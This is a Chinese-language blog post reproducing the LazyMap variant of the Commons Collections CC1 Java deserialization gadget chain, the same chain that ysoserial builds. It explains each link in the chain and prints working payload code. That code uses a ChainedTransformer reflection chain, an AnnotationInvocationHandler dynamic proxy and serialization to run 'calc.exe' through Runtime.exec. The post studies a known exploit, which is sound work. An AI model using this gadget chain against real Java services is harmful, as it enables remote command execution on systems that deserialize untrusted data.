关于cc1链-lazymap版复现

思路,在cc链中最重要的其实是transform方法;其反射调用执行的性质+transformchain性质,导致可以通过构造反射调用链子,也就是Runtime.exec的反射链进行命令执行;

所以关键地方在于找到transform方法;

在lazymap中的get方法中的factor调用了transform;在lazymap的构造函数中我们可以看到factor是作为key(键)值传入;且触发条件是lazymap对象中没有这个键值时调用transform方法


Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),    
new InvokerTransformer("getMethod",
                    new Class[]
                            {String.class,Class[].class},
                    new Object[]
                            {"getRuntime",new Class[0]}),
            new InvokerTransformer(
                    "invoke",
                    new Class[]{Object.class, Object[].class},
                    new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer("exec",
                    new Class[]{String.class},
                    new String[]{"calc.exe"}),
  };
   Transformer transformerChain = new
            ChainedTransformer(transformers);
 Map innerMap = new HashMap();
    Map outerMap =LazyMap.decorate(innerMap, transformerChain);//由于不能直接调用构造函数,因此使用decorate获取其对象
    outerMap.get("man");

可以看到这里执行了calc.exe

因此接下来看谁调用了哪个类调用了get方法;

有很多;这里 ysoserial开发者使用了AnnotationInvocationHandler中的invoke方法调用了get

这个memberValues是其构造函数的可控参数,这里需要另其为LazyMap对象

接下来继续找谁可以调用invoke方法;

这里开发者很巧妙地想到了动态代理机制:使用动态代理时;被代理对象的任意方法被调用时会转发到代理对象的invoke方法中;

而AnnotationInvocationHandler是一个代理类且AnnotationInvocationHandler作为动态代理的处理器;他实现了InvocationHandler接口;导致它的实例对象执行任意方法会转发到它的invoke方法中

也就是说AnnotationInvocationHandler作为处理器去被代理类的执行任意方法,会转发到它的invoke方法上;也就是说执行Lazymap的任意方法会转发到它的invoke方法中,从上文中我们可以看到AnnotationInvocationHandler的invoke中存在一些方法不会触发;因此需要一点绕过;只需要调用的方法不是

toString,hashCode,hashCode即可

payload

   
       Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                                                              
                new InvokerTransformer("getMethod",
                        new Class[]
                                {String.class,Class[].class},
                        new Object[]
                                {"getRuntime",new Class[0]}),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc.exe"}),

        };
   Transformer transformerChain = neW ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap =(LazyMap) LazyMap.decorate(innerMap, transformerChain);
 Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
      constructor.setAccessible(true);
  InvocationHandler ih=(InvocationHandler)constructor.newInstance(Retention.class,outerMap);
       Map  mapproxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},ih);
        mapproxy.clear();

可以看到执行了命令;

但在反序列化过程中无法进行显示调用,需要进行自动执行;

而在Lazymap和AnnotationInvocationHandler的readobject中我们看到都调用了entryset方法

也就是说执行AnnotationInvocationHandler的readobject会调用entryset

这时候我们需要让memberValues=mapproxy;

从上文可以知道memberValues是在构造函数中进行赋值,进行以下构造

此时我们的完整payload为

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
  
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                                                             
                new InvokerTransformer("getMethod",
                        new Class[]
                                {String.class,Class[].class},
                        new Object[]
                                {"getRuntime",new Class[0]}),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc.exe"}),

        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap =(LazyMap) LazyMap.decorate(innerMap, transformerChain);//构造链子,使调用get时,触发transformerChain->transform(key)
     

      Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
      constructor.setAccessible(true);
      
        InvocationHandler ih=(InvocationHandler)constructor.newInstance(Retention.class,outerMap);//连接invoke{memberValues->get}
        Map  mapproxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},ih);//转发到ih的invoke
    
        Object obj=constructor.newInstance(Target.class,mapproxy);//触发entrySet
        
//进行对象序列化
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        ObjectOutputStream oss=new ObjectOutputStream(outputStream);
        oss.writeObject(obj);
        oss.close();

        System.out.println(outputStream);
//进行反序列化

        ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
        Object object=objectInputStream.readObject();

总结一下:这个版本的cc1链使用了LazyMap的get方法进行触发,为了触发这个get方法,引入了AnnotationInvocationHandler的invoke方法;为了触发invoke,引入了动态代理;执行LazyMap的entryset方法触发invoke;为了在反序列化时自动触发;使用AnnotationInvocationHandler进代理对象进行包装,使其执行LazyMap->entryset后执行AnnotationInvocationHandler->invoke->LazyMap->get后执行 ChainedTransformer->transformerChain->ConstantTransformer(Runtime.class)->InvokerTransformer(getMethod)->InvokerTransformer(getRuntime)->InvokerTransformer(invboke)->InvokerTransformer(getMethod)-> InvokerTransformer(calc.exe)

比较直观一点的gadget写法

+------------------------+        +-------------------------+  
| AnnotationInvocation    |        | Dynamic Proxy (Map)      |  
| Handler.readObject()    |        |-------------------------|  
|-------------------------| 调用   | memberValues.entrySet()  |  
| memberValues (代理Map)  | -----> | → 转发到InvocationHandler|  
+------------------------+        +-------------------------+  
          |                                   ↓  
          |                        +-------------------------+  
          |                        | InvocationHandler.invoke|  
          |                        |-------------------------|  
          |                        | LazyMap.get("entrySet") |  
          |                        +-------------------------+  
          |                                   ↓  
          |                        +-------------------------+  
          +------------------------| ChainedTransformer链     |  
                                   |-------------------------|  
                                   | 反射调用Runtime.exec()   |  
                                   +-------------------------+  

​ 手法很巧妙;相对于TransformedMap版本通过setvalue触发 checkSetValue机制;这里使用entryset触发invoke,再触发get,中间使用了动态代理作为桥梁;

使得执行entryset时会转发到AnnotationInvocationHandler的invoke中,我认为这个思路对于大部分使用invoke触发过程的链子都是适用de6

参考: 
p牛的知识星球->代码审计->java系列文章;
+
https://www.cnblogs.com/leyilea/p/18426165?app_lang=zh-CN
 posted on 2025-05-28 02:52  ୧૭  阅读(36)  评论(0)    收藏  举报